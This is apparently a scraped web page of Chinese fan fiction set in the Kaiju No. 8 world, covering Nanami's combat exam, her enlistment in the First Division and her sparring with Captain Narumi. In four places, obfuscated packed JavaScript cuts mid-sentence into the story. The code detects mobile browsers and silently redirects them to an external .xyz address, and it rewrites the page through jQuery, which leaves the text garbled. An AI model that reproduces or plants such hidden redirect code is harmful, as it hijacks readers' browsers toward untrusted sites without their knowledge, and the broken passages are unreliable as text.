和七海的复试同期到来的,还有来栖组长回总部的调令,刚好在当天公示了,原本应该要更早一些,不过考虑到七海的特殊适配者身份,以及往年的交情,他希望在发生剧烈副作用的时候能帮这个后辈一把。由于感官的加强,其他适配者都深受失眠症困扰,郁郁而终选择引退二线的也不在少数。 不过七海似乎并没有什么变化,她也没有吃帮助睡眠的药剂,只是在提交的报告中简单提及了相关的症状。 对于常年难以入睡的人来说,七海每个晚上本就能感受到白日里感受不到的一切,现在不过是讲那些包裹着她的声音与感觉放大了,实际上,她竟然逐渐觉得能听见混杂的声响反而能让她更安心,每一次沉睡中醒来,她都要担惊受怕地在心里想着“天呐我还活着”。 如今倒是不用害怕了,因为心跳声围绕着她。 第一部队的复试一共两轮,首轮便是一对一近身格斗,取点得分,只要有人拿下五分,对战便结束,由东云对所有考生的动作及反应速度打分。 至于第二轮的考试内容,则在第一轮结束后公布。 这条从大门走向基地建筑的道路,七海这些年来不知走了多少遍,她一瞬间误以为自己是回家了,前期□□练过的辛苦与在那里发生过的种种都在她眼前回放,她很清楚,这一次走到那里的话,她整个人就再也不可能属于她自己了。 那一日注射完成,两次测试通过后,四之宫长官对她说:“如果有一日我会离开,那么请你永远地站在鸣海的身后吧。” 咚咚咚,咚咚咚。 于是在踏进基地的同时,七海回想起自己一步一步走近鸣海的时候,从他胸膛里传来的声音——慢慢加快,慢慢加重,是他望着她那一刻的心跳。 10.内勤暴言(10) 内勤暴言(准备转行)@wffh 当你能够熟练出外勤的时候,那么恭喜你,你现在是一个合格的内勤了! 到底是谁训练完还要自己修装备(这要加钱) 23:13 dd/mm/yy twitter for web 出于公平的考量,一对一近身格斗的对手是在全员到场后进行抽签,抽到相同数字的考生便为一组。据东云爆料,最开始鸣海想的是先抽签成组,然后再告诉大家是进行格斗,因为他特别期待看到建立伙伴关系之后的两个人站在对立面的戏剧化场面。幸好当场就被长谷川出言反驳了,考生们过五关斩六将走到这里本来就不容易了,别把菜鸟们当成游戏NPC。 七海常常在想,大家都没日没夜上了这么多年班,他怎么还能有这么残忍的想法,混口饭罢了,至不至于玩心理游戏啊,讨伐厅能不能管管,第一部队的人事工作绝对有问题吧! 不过她眼前还有更重要的事情要先做,因为她自己现在就是那十六个菜鸟之一。 “谁是七?” 一个目测身高约一百八十六公分、肱二头肌发达的彪形大汉,将手里的签条高高举起,他环顾四周寻找与他同组的人。 这人看起来只要出拳大概就是一发“百万吨重拳”,七海刚在心里想谁会这么倒霉碰上他,然后低头打开自己的签条,看着那刺眼的数字七,一时间想回到过去,狠狠给那个坚信“七”是幸运数的自己两个耳光。 长舒一口气,七海从直起身向前走了几步并开口回应道:“我也抽到了七。” 彪形大汉随即用戏谑的眼神瞥了她一下,旁的人也同时抛来了庆幸掺杂着同情的目光。 很显然,统一发放的训练服足够合身,也足够让七海毫无训练痕迹的瘦弱身材暴露无遗,三餐不规律加长时间睡眠不足,她简直轻飘飘的像一张纸,配上那副宛如竹竿似的身高,有时候海边风大,同事们都担心会把她拦腰吹断。 东云拿着名单站在提前预备好的擂台前,她下意识看向了头顶的监控镜头,也不知道鸣海有没有在监控室看着。 不过鸣海哪是这么负责任的队长,他一直到长谷川通知他下一个就到七海那一组的时候才姗姗来迟,身上还穿着前一晚睡觉时的短袖,趿拉着一双拖鞋,大摇大摆走进来,并坐在了七海平时的那张椅子上。 “不好办呐……”长谷川嘀咕着,“那是个退役警员,以前是首相保卫室的。” “取点得分靠的是脑子,”鸣海两手环抱向后靠着椅背,两脚跷在操作台上,“七海有的是脑子。” 说实在的,感官被加强之后,七海眼中的世界常常像是由慢镜头拍摄的,特制的战斗服能单独成倍强化某一种,是可控且可调节的。 不过参加考试当然不能有额外助力,她现在用与东云练习时总结出的规律来调整自己的感觉,比如要想听得更清楚就要闭上眼睛,要想看到更细微的动作就要集中注意力……对手摆出的姿势,他毫无疑问是柔道好手,那么只要看到每个动作的起势,就能从相反方向躲开。 “考生请准备,现在开始!” 所有人的呼吸声太吵了,脚踩在垫子上的声音也太吵了,头顶的射灯太亮了,干扰因素太多了,七海意识到平时那间小小的训练室给她创造了太理想的环境,现在擂台下十几个人的存在感太强了,像千军万马一般和对手一起将她淹没。 说时迟那时快,对手已经来到她跟前,一记勾拳冲着右边脸过来,七海的大脑知道自己应该躲开,但反应还是没跟上,稍稍偏开了一点点,她向一侧倒在了垫子上。 “靠……”摔下去的冲击力还是有点大,七海觉得自己的脑壳在嗡嗡作响,不过幸好对手没有碰到自己,不然照那个力度,她觉得自己的下巴应该已经歪掉了。 “得一分。”东云抬手计分,看到七海皱着眉头爬起来,她松了一口气,“请继续。” 理论和实践果然还是有差距的,不过吸取教训的七海又调整了一遍呼吸,她现在至少知道应该怎么躲开了,对手这一次想出直拳,但重心比普通拳击手低,七海提前抬肘挡住,然后换手还击上勾拳,他收手防守,正好给她腾出了空间,膝盖顶上他的侧腰。 疏于防范的部位被突如其来的痛击,男人当然吃了一惊,在东云计完七海得分之后,他的动作就更加夸张了。 很不错,七海还担心他不会生气呢。 僵硬的竹竿子总能先一步躲开攻击,并通过男人每一个疏漏的薄弱位置来得分,她的表现让擂台下的其他考生都看呆了,就像在玩弄对手一般,单纯的对打她应该扛不住两拳,现在却在钻赛制的空子。 很快比分就来到了二比五,第七组对决结束,胜者是七海。可她中途还是被对手实实在在打到了一拳,尽管她已经转身用背部来承受的力量,但是剧烈的疼痛依旧让她有些站不稳。 “无惊无险……”她低声自言自语,强忍难受和监考官东云鞠躬致谢。 况且段时间高度集中使用感官对体力也是一个大的挑战,七海撑着走到场边,扶着墙缓缓坐到了地上,她抱着膝盖埋下头,感觉下一秒就能睡着。 监控室的鸣海注意到了她的状态,不自主地直起身来,脸上轻松的表情不知什么时候消失的,伸手按下对讲:“东云,看看她怎么了。” “队长,”东云用手挡住嘴小声回答,“还有一组没比,我不能走开。” “啧。”鸣海轻哼了一声,再看向屏幕,发现角落的七海悄悄将手举到头顶,比了一个“OK”手势,而后又做了个摆手的动作,正对着监控镜头的方向。 “这家伙在嫌弃我对吧!”他喊道,只是对讲又忘记关了。 于是下一秒,监控中的七海又点了点头。 经过了一轮的考试,考生之间多少也摸清了一些彼此的底细,虽然始终不参与社交的七海依然神秘,但她与彪形大汉的对战还是给大家提了醒,到了这种场合还轻敌的话,吃亏的可能就是自己了。 经过短暂的休整,七海的体力已经完全恢复,她甚至偷偷溜回办公室翻出了两包能量棒,血糖降低的感觉可不太好受,她撕开包装纸三两口将一根坚果能量棒就吃完了。 东云和其他的队员似乎正在沟通接下来的考试内容,他们的保密工作做得相当不错,七海这段时间在基地里是一点都没打听到。大概是发现了这边的殷切目光,东云把训练室内的大屏幕打开,上面有每个人的名字和先前测试过的战力解放值,以及第一轮的排名。 第五名,还可以,七海看着自己名字旁边的名次,比她预料的还要高一些,她还以为自己会在八名向后呢。 “百分之四十四?” “怎么可能?” “就那个……” 不过为什么要公开战力解放指数,七海把第二根能量棒也塞进嘴里,试图避开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14788849|156951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 旁人的视线和议论声。 “接下来是模拟实战练习,所有按要求穿上战斗服,在战力全解放的情况下,与以下四种等级的怪兽进行对战。”东云咳嗽了两声让大家安静,“不用担心,所有的怪兽都是模拟器,但是为了保证真实,各位承受的攻击也会同步反应为痛觉,那么现在就按排名进行训练室,第一位……” 提到这个七海可就不操心了,她这段时间可是在来栖组长的监管下与怪兽三号模拟器在训练室里打得昏天黑地、日月无光,如果只是这四种等级的怪兽,那对拥有战斗服的她来说似乎有点太容易了。 训练室的门打开,广播里传来:“请换上战斗服。” 接着是:“请选择装备。” 对七海来说最趁手的是后坐力偏小的改装版柯尔特M2000,那是给三号适配者专配的小型武器,但目前装备室内肯定不会有这号家伙事,七海思索是应该选择一把便携的普通枪支,还是选择对战大型怪兽更有效的那些,思索良久,她将两把枪卡在腰后,同时拿起了一把军刀绑在了大腿侧边。 很简单,让核暴露,然后一枪解决。 “一切就绪,现在开始。” 在战斗服加持下,七海对感官的控制更为精准了,但这毕竟不是特制的那套,再加上…… “我靠你们没说过数量啊,这是怪兽吗,这是怪兽群啊!” 七海慌忙在模拟场地中寻找掩体,半蹲下的时候拉扯到了后背,一瞬间的疼痛让她倒吸了一口凉气,身体的状况也通过战斗服同步传送到了监控室内,鸣海看着屏幕上显示出她后背的一片红,他想应该是第一轮被那个男人伤到了。 这时候怎么这么守规矩了,知道溜回办公室偷东西吃,就不知道去趟医疗室做紧急处理,鸣海托着腮,在心里这样说着。 战力全解放的时间是有限度的,七海的解放指数又随着战斗在不断升高,身体承受的压力可想而知,实际上斩杀到最后一只的时候,她感觉自己是在用意志力应付一切,大脑已经失去思考能力了,她眼前只有怪兽,她的手里只有枪。 “任务完成,请考生离场。” “七海女士,请离场。” “七海女士。” 广播里一遍遍叫她的名字,七海清楚地听见了,但是躺倒在地面上的她没有一点力气,她的头发被汗水浸湿,胸膛起伏不断喘着气。 “好想睡觉,好饿,还是先睡觉吧……” 她碎碎念着,只想在这里永远躺下去。 鸣海看她放松下来的模样,起身将椅子推到一旁,对着长谷川说:“那我就先回去了。” 也不等回应,他已经走出了监控室,留长谷川在原地摇了摇头说道:“真不知道他来做什么的……” 而后按下对讲:“东云,让医疗队进场。” “七海前辈辛苦了。” 医疗组的工作人员将她抬到担架上,七海听到有人在对她说。 没有余力回话的她只是应了一声,下意识念叨着:“但是好痛……” “痛还忍。” 为什么听到鸣海的声音了,七海睁开眼,一副邋遢打扮的鸣海就走在边上,和抬着担架的医疗组成员一起。 然而七海哪里有抬杠的精神,她翻了个白眼决定再次睡过去,结果又听到了他的声音。 “做得不错,七海队员。” 刚刚装睡的人脸上慢慢露出了笑容。 11.内勤暴言(B-side) 因为高智商和灵敏的反应能力,所以非常擅长打游戏,轻轻松松压制鸣海完全没问题。 有失眠的问题,不会睡在床上,大多时候只能在沙发椅上坐着睡觉,非常畏惧死亡,躺下会让她有濒死的错觉。 环境太安静的时候也睡不着,所以她喜欢下雨天,外面轰隆隆的声响,理由同上。 喜欢吃零食,办公桌抽屉里日常摆着一盒,鸣海每次都会顺手拿点。 几乎不花钱只存钱,游戏卡带都是从鸣海那里收缴来的,因为他欠了她太多钱。 和保科一样基本不说标准语,在会议上时也一样,被领导提醒过以后也不改。 很喜欢看到解剖完露出的颜色奇特的怪兽内核,会露出小孩一样欣喜的笑容。 出云科技和讨伐厅里都有她父母的老朋友,经常有人跟她提起当年七海教授的事情,不过她不是很喜欢对方提到这些话题。 鸣海当年被四之宫指名当队长的时候,七海心情很糟糕,她觉得自己的绩效审批可能永远也等不到签字的那天了。 原本不用在第一部队宿舍住那么久的,只是因为她刚来一个月租住的公寓就被怪兽弄塌了,重建后房东决定将房子出售不租了,所以她只能赖死在宿舍(省了房租还有什么更划算的吗)。 购入了非常多份保险,因为怕死,她觉得自己为了活下去,哪怕是要给怪兽接生也可以。 到目前为止从没有谈过恋爱,因为根本没有机会谈恋爱,初中忙着学习,高中忙着打工,上班以后除了同事压根没有社交圈(到底谁会和同事看对眼)。 在内勤技术组里学历最低,但几乎没有她不能解决的问题,实验室的救星,各位实习生的偶像,因为她只有说话难听,求她帮忙做什么都会答应。 在注射三号基因之前是高度近视,左眼七百度,右眼一千度,没了眼镜和瞎子没有区别,抽屉里有两副一模一样的备用眼镜。 长时间伏案工作,她腰肌劳损很严重,而三号基因并不能缓解这一点,她很失望。 坐着很舒服的办公椅是她有一年买给自己的生日礼物,鸣海也喜欢,来她办公室一定会抢椅子坐。 在七海还没有离开出云科技之前,定期也会去第三部队帮手,保科知道鸣海不喜欢,所以会故意强调自己和七海初中就认识了,是“旧相识”。 不过七海和保科并不熟,甚至 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799636|156951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 称不上是同学,不过是上过同一所初中的校友而已。 她对卡夫卡很有好感和依赖感,因为觉得卡夫卡像阳平,憨厚且踏实。 一直觉得卡夫卡酒量差但其实她本人也很一般,人菜瘾大,酒品好坏很薛定谔,目前已知在鸣海面前痛哭过。 虽然看似瘦弱,实际上也确实瘦弱,以前是因为吃得少动得更少,现在是因为三号基因所以吃多少都长不了一点肉。 格斗技巧尚佳是因为高中有好好听课,对武器装备了如指掌是因为工作态度很认真,天塌了也得把活干好。 正在学习平衡战力全解放之后的体力消耗和恢复速度,目前可以保证跟上中队的出勤时间,发射器喷射的蛛网可以起到束缚作用,一般与使用枪械的普通队员合作击杀。 每次任务结束都会当场睡倒,谁离得近谁把她扛回车里。睡醒了就能起来撰写报告,自她出外勤起,现场反馈的一切文件都交给她来应付,东云嘴上说抱歉,但内心十分庆幸,干外勤的碰到键盘就头皮发麻。 有一个推特账号,id就叫内勤暴言,关注者有八万多,其中有保科和小此木,二人用的都是马甲,并且不知道皮下是七海。 12.内勤暴言(11) 内勤暴言(转行中)@wffh 所以我终于能拿全薪了! 今天我会多爱这个世界两分钟。 17:13 dd/mm/yy twitter for web 来月的第一周,各大部队的自主复试接连落幕,第一年进行公开招考的第一部队自然深受瞩目,为了保证优中取优的传统,讨伐厅对长官们甚至对上报的拟录取名单进行了调整,将排在末位的直接抹去,最终只留下五位新队员。 而被稀烂的体能测试成绩拖了后腿的七海阳菜运气绝佳,初试加复试总分排名在第五位,惊险而安全地成功上岸。她自己后来算过一遍,但凡她业务课不是满分,哪怕只是少一分,她都会被这微小差距拖到第六,那么被抹去的人就是她了。 正式通知虽然还要再等几日,但七海一想到自己即将迎来绝不拖延的高额绩效和高额补贴,在余生都能吃上这铁饭碗,她真想大喊一声有工作的感觉太棒了。 即使这种心情会在入职到岗的当天就转变成恨意,可她依然决定先乐过这一天。 东云和长谷川副队长自然也为她高兴,前者是因为部队难得多了一位女队员,后者则是在想未来的日子可算有人跟他一起承担那些麻烦事了。 至于一切麻烦事的主人公,他的心情肉眼可见相当不错,情绪好到这天例行训练的时候队员们以为鸣海队长是不是中了大□□。不过,他开心的理由和七海关系不太大,可能稍微有那么一点,主要还是他今年可算有机会以史上最强精锐部队领袖的身份出现在电视台部队招新专题节目中。 事与愿违,鸣海并没有等来任何的专访通知,第一部队的资讯最终只在节目开头由旁白提了一嘴,在接下来二十五分钟时长里除去四之宫长官的讲话,加各个部队的俯拍空镜片段和一些新入队员的照片剪影,剩下的全部都是第三部队,亚白队长自然不必说,连保科都露了脸。 “……我们好几位新人在考试中表现出了超越小队长的能力……” 食堂的电视突然黑了屏,正端着餐盘找位置的七海看到鸣海将遥控器扔下扭头走了出去,她便又将电视打开,保科宗四郎难得用标准语在回答记者的问题,没有了那京都腔,听着真是别扭。 第三部队所在立川基地的实战模拟场地传出被大型怪兽袭击的消息,知道这件事的时候七海刚在医疗组做完检查,她背后一片青紫,看着骇人得很。医生说这个位置太危险了,稍微错开一点点,内脏就有可能被打出血。 她那时在心里碎碎念道:“我难道能不知道吗,那家伙的拳头是铁做的吧……” 拿着那堆报告,七海琢磨着需不需要和来栖沟通一下自己的身体状况,毕竟三号的基因似乎并没有帮助她更快缓解受伤的疼痛感,她觉得可能只和体力有关。一路走回办公室,她在走廊上就听到内勤的同事们说第三部队有考生出事了,其中一人受了重伤,来栖组长已经从总部过去支援了。 “这么严重?”七海探头凑到他们办公桌前。 “当然严重,一个八级以上的大怪兽,被那个考生一个人打撤退了,”消息灵通最是灵通的那位又对大家招了招手,压低声音继续说,“你们知道考生的身份吗?” 众人整齐摇头。 “四之宫长官的独生女。”他再次把声音压低。 “不愧是那两位的孩子。”旁边有人接话。 “虎父无犬女啊……”另一个人也说着。 “我的意思是伤得有多重……”七海不耐烦地直起身,“是需要用上医疗组恢复舱的程度?” “应该吧。”大家似乎不太关心七海提到的这一点。 看来没什么可聊的了,其他人也转移话题询问七海的考试如何,她摆了摆手回了一句还行,便消失在了门外。一阵不安突然涌上心头,她想起日比野和市川今天正在立川基地参加复试,所以一回到自己办公室,她就拿出手机日比野打了电话。 同时给小此木也发了邮件,询问有没有其他受伤的考生。 前辈的电话没有接通,市川的LINE也没有回复,好在小此木很快有了回信,她说除了四之宫以外基本都是轻伤,队员们也都没事,除了年纪最大的那位考生,在复试中就已经受伤骨折。 但小此木还提到了另一件事,她觉得很奇怪,因为给考生配备的都是基础装备,按理来说不应该留下那样的场面,强度几乎是亚白队长全解放时的攻击痕迹,可惜无人机受到影响没能实时传送回画面,她也找不到其他根据。 七海打开她传来的相片,确实正如她所说,必须是超强的冲击波才有可能形成这样的创口,如果不是枪炮,那么只能是怪兽自己。 “所以怪兽的级别到底是多少?”七海又补上一句。 “9.8级,可怕吧,又是一个编号怪兽的水平,八号到现在还没找到呢。” 小此木说的就是先前在日比野前辈住院的那所医院里被人目击的超级大怪兽,至今也是下落不明,只是当时的数值监测也没有到9.8级的程度。 时间回到现在的食堂,七海看完了那期专题节目才开始对付盘子里的饭菜,也许是受了注射的影响,她身体需要的能量和消耗的能量比以前大得多,所以她必须要吃下以往双倍的食物才能保证自己在三小时内不会感到饥饿。 她的餐盘不可避免呈现出一种较为壮观的景象,引得路过的同事纷纷侧目,知晓内情的东云把自己那份水果也留给了她。 行政部门的那个小姑娘已经转正,她将餐盘放回去之后小跑着走到七海旁边,笑着说:“七海前辈,讨伐厅的信件已经寄到咯,我下午就送到您那里去。” “我什么时候可以办入职?”七海最关心的自然是现在是月初,越早办完,就能拿整月的工资。 “我们部队应该通知的是周五前报道吧,反正前辈的办公室和宿舍也不会变的,恭喜前辈了!”小姑娘微微鞠了一躬。 七海则是拿着筷子傻乐着,她嘿嘿笑出了声,然后低下头吃了一大口牛肉,接着又笑出声——我有工作了,我有工资了,我有钱了,嘿嘿。 “你怎么午饭吃了一个小时?” 带着这样的好心情,七海哼着歌推开办公室的门,坐在自己椅子上的鸣海转了半圈带着埋怨的眼神看过来。 “我锁门了吧?”七海皱起眉头。 “和 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14804678|156951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 你宿舍门一个密码,直接就打开了。”鸣海丝毫不认为自己有问题。 “把我椅子还给我。”七海伸手扯了扯他的袖子。 “才不要咧。”鸣海坐在她的椅子上又转了两圈,“以后我是队长,你是队员,我说什么你都得听。” “还没入职就证明我现在还不是,”七海又上手拉住椅子扶手,“还给我,这可是我选了好久才买到的,能护腰。” 鸣海听到她提了“护腰”的事情,依然没有动摇,不过倒是眼神她身后瞥了瞥,咳嗽了两声问:“你之前……那个伤,就后面,好了没?” “谢领导关心,我皮糙肉厚还算耐打,就是一时半会儿淤青消不掉。”七海下意识掀起了一点点衣摆,但是什么都没露出来,鸣海却微微起身眼神凑了上去,惹得七海立马警惕地后退半步。 “管好你的眼睛。”她警告道。 “拜托,是你这个女流氓自己在扯衣服吧!”鸣海慌张地又跌坐回椅子上,“谁看你啊,有什么看头啊?” “有没有看头你也得管好眼睛啊,”七海昂起头,“我以前就很想问了,鸣海队长你不知道边界感吗?” “哈,什么意思,你是说我对你没有边界感?”鸣海撑着扶手站起来,将椅子推到一旁,“你算什么角色我要对你……” “说啊,我什么角色?”七海歪头,目不转睛盯着他。 “我为什么要告诉你?”鸣海移开目光,同时伸手一戳她的患处。 “嘶——”七海立马疼得又倒吸一口凉气。 “啧,根本就没好啊,医疗组的人在做什么啊。”鸣海咂舌。 七海无言地眨了眨眼,二话没说也戳了他一下。 “喂。”鸣海喊出声。 “痛吧?”七海微微一笑,“到底谁被戳不会痛啊!” “你果然是女流氓,”鸣海两手护住自己,“我就知道你看过我的身材怎么会没有想法。” “脱了衣服的是你,没脱衣服的是我,那天晚上到底谁有问题?”七海把他们默契地都没提过的事情脱口而出。 “到底是谁蹭了我一身的眼泪鼻涕?”鸣海也说了她完全不记得的内容。 “你说我哭了?”七海反问。 “你哭得根本停不下来好吗?”鸣海学着那天她的动作伸手攥住自己胸口的布料,“你死死扯着我一直哭一直哭。” “好了可以了,可以了,您回去吧,回去吧。”七海难堪地别过脸,推着他向外走。 “我才不呢,为什么你觉得丢人了就不让我说了,我偏要说……”鸣海迅速转身,七海刚好没停住脚步,撞了上去,她一抬头,两个人的鼻尖就这样轻轻相碰。 一时间失去了控制感官的集中力,她又被他的呼吸声包围了。 时间仿佛停滞了几秒,鸣海反应过来伸手打开门,嘴里念着:“我走,我……我走。” 他一边迈着步子,一边挠着后脑勺思索,刚刚自己好像闻到了什么很好闻的味道,有点发甜。 深呼吸了两下,办公室里的七海捶了捶胸口,警告自己的心脏安静点,而后拿起杯子灌了一大口,又用手指擦掉杯子边沿的透明唇膏印。 13.内勤暴言(12) 内勤暴言(已转行)@wffh 毕业快十年归来仍要参加入职培训是什么体验? 回答:不变的是上司永远很倒胃口。 17:13 dd/mm/yy twitter for web 本届讨伐厅所属防卫队,关东及中部地区四个部队新招队员总计六十二人,第三部队编入二十七人,人数最多,第一部队编入五人,人数最少。 新入队员将会在本月中旬前全部到位,新人培训由各自部队负责,原则上实习期为三个月,期间补贴减半,第四个月开始拿全薪。根据外勤表现,补贴分为三档。一般队员补贴保底为工资百分之二十,季度评价达到A档则可升为百分之五十,B档升为百分之三十,小队长级别及以上在补贴之外均有职别奖金,编号怪兽的适配者与小队长待遇相同。 七海阳菜正式成为怪兽三号适配者之后,目前编号怪兽的四号与六号的适配者仍空缺,应讨伐厅要求进行不公开测试与选拔,四之宫长官在批示中强调宁缺毋滥,因为作为能足够支撑怪兽讨伐事业的战力,适配者须拥有绝对过人的素质。 “过人的素质?” 将那份盖着讨伐厅公章的上级文件放进密件柜里,七海把自己从头到脚看了一遍,丝毫没发现任何值得说道的优势。 收到信件当天七海就将正式入职的流程走完了,剩下几天她和往常一样来往于实验室和办公室之间,因为来栖组长回总部以后,她现在就是技术组组长代理,兼东云小队的一般队员。职别当然是最低的,但由于是三号的适配者,她的实际权限与长谷川副队长基本相同,否则四之宫长官的批示也不会同步抄送到她这里。 然而部队管理以职别为准,说得这么复杂,也就是她只在行政上有权限,外勤现场她命令不了任何一个队员。 不过工资到位就可以了,七海一点不关心手里有没有管理权,哪怕给她的是食堂保洁的编制,但是薪资水平能到仅次于副队长的程度,她已然满足。 办理手续的时候,行政部门的同事给她看的入职合同比别人的都要厚一叠,主要是三号相关技术研发的保密工作,她作为前出云科技的研究员,必须和他们彻底割席,一旦有勾结与泄漏情况,那就不是普通开除,她可能得在监狱里待上个二十年。 要不怎么说还是官方心最黑呢,前司不过是要签署竞业协议,不允许她在离职后应聘同类型企业的同类型岗位,讨伐厅这可是一个不小心就是万劫不复啊。 第一部队的新人队员于收信后三日内全员报到完毕,这周五一大早七海在基地宿舍楼下碰见了同期几个人,因为一般队员住的都是一楼的多人间,他们四个人刚好能住进一间房。那位给她留下深刻印象的彪形大汉自然也入选了,他提着行李包跟已经换好制服走下电梯的七海对上了视线,便主动打了招呼。 “你叫七海?”他伸出手,“我是伊东,以前在首相保卫室服役。” “我是小此木广之,”另外一位看着和善些的眼镜小哥也开口道,“我妹妹和我提过你,是第一部队技术组的骨干。” 没等七海回应,剩余二位也跟着做了自我介绍。 平日里疲于社交的七海,突然被卷入了这种新同事破冰场合,自己又不明所以成为了社交中心,她无法像解决技术问题那样摆出游刃有余的风度,只能按顺序一个个握手,然后集合在一起回答每个人。 “说骨干太夸张了,只是个打工的而已。”她习惯性将胸前的工牌亮给他们看,然后补充道,“是的,我叫七海阳菜,过去六年被外派到第一部队做技术支持工作。” 说着她又悄悄呼出一口气:“工牌和制服应该都在你们的宿舍了,通知九点在基地主楼的报告厅开会,记得带上工牌,主楼是证件与面部扫描双重保险,不然会被关在外面。” “呃……还有什么忘了说的……”她压低声音自言自语而后又抬起头,“啊对了,食堂在四楼,今天有炸鸡。” 她此刻“热心肠”的模样和复试时那副冷脸而寡言的姿态反差太大,他们一时间没能习惯,不过确实也没有什么多余的时间给他们继续互相熟悉了,正当七海认为自己总算能从多余的交流中解脱时,她听见走在最后站在宿舍房间门口的小此木广之道声音。 他问:“听说我们这一届已经有人成为编号怪兽的适配者,就是七海你吗?” “我没有公开信息的权限。”七海神色如常,“遵守部队的规矩是我们队员的基本职责,不是吗,小此木先生?” 不过她的这番话也变相说明了自己的身份,那就是事实的确如此,只是不能由她告知众人。 九点的宣誓仪式,鸣海在长谷川的胁迫下不情不愿走上台将那张已经被删减了大半的讲话稿从头念到了尾,他看了看后排的老队员,又看了看前排五个新人,接着抬手指了指最边上早已在神游的七海,说出了纸上最后一行字:“最后颁发防卫队队员委任状,请本届新入队员代表、怪兽三号适配者以及技术组组长代理七海阳菜上台。” 长谷川副队长还真把这么长的头衔给写出来了,而且鸣海还真老老实实给念出来了,七海听得愣了几秒钟,鸣海只好又咳嗽了一声,她才回过神在原地立正,接着向左转走上前。 “即日起,将任命你等五人为防卫队队员,加入第一部队,成为最强部队的一员。”难得将邋遢的头发梳理整齐的鸣海眼里带着笑意,他微微昂起头,似乎很享受被七海敬礼的感觉。 “我代表全员五人宣誓,必定不辱使命,一切以部队利益为先。”七海双手接过委任状,接着后退半步,面向鸣海干脆而利落地敬礼。 二人视线相接,鸣海眼里的得意实在有点过分,七海差一点没能藏住自己眼里的不屑,强行压制下去,她连忙转身准备走下去,可是还没归队,鸣海就又继续说道:“现在就去训练中心,新人培训开始。” “现在?”长谷川倒是第一个出声的,因为他明明安排了大家上午熟悉基地,下午开始培训。 “各小队长领走自己的人,七海跟我走。”鸣海说罢自己头也不回地走出去。 空留队员们在报告厅内面面相觑,东云一脸疑惑和其他的小队长交换着眼神,他们从头至尾都没接到单独培训新人的命令,新人们更是如同无头苍蝇,除了七海知道自己在东云小队,其他可是连分组都不清楚。 长谷川匆匆走过去和东云、木梨和三宅几个小队长低声说了几句,而后东云先对着小此木招了招手:“你以后就在我的小队,我是东云凛,你的小队长。” “收到。”小此木听话地跟上自家小队长,其他人都被各自的领导叫走,伊东在离开前看了一眼不紧不慢还在那儿磨蹭着不知做什么的七海,他想不通长官们为什么青睐这么平平无奇的家伙。 尽管他深刻记得复试第二轮,七海消灭怪兽的累计时间是最短的,而且远远少于第二名的他。 那时站在他旁边的小此木广之看着影像中七海的行动,感叹了一句:“每一步都是最优解,太可怕了。” 鸣海在他的个人训练室里等了七海将近十五分钟都没见她的身影,这也太不把自己当回事了,原先的那点得意消失得一干二净,他很是不满地给她打去了电话,那头竟然是正在通话中,无视自己的命令就算了,现在还敢在工作期间不接上司电话。 “啧,这个女人……”他发泄似的踢了一脚开门的按键,封闭的大门缓缓打开。 被他在心里念叨了好几遍蠢货的女人正在走廊尽头,低着头接听电话,她脸上没什么表情,看不出是在和什么人说话。 实际上会接到这通电话七海也很吃惊,毕竟从前她与保科宗四郎的沟通大多通过办公室的座机,或者是出外勤到第三部队时当面谈工作,这一次的联系却是来自私人号码,十分少见。 “我有件事要以个人名义拜托你,关于战斗服的技术层面问题。” “你们不是有自己的技术组吗?”七海反问。 “因为可能会用到你前公司的数据,”保科清顿了顿,“你认为会有战斗服适配数值为零的可能性吗?不是接近于零,就是单纯的零。” “零?”七海果断回答,“不可能,动物实验时都从没有出现过这种情况,只要这人是个活人,都一定有适配数值。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809642|156951||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” “那么就好了,现在有这么一个情况,我接收了一位比较特殊的预备队员,他整体成绩不合格,战力解放值为零,在基地被袭击的时候,他的生命指数消失了大约两分钟。”保科说的内容听着相当值得人在意,可他却用了说笑一般的语气。 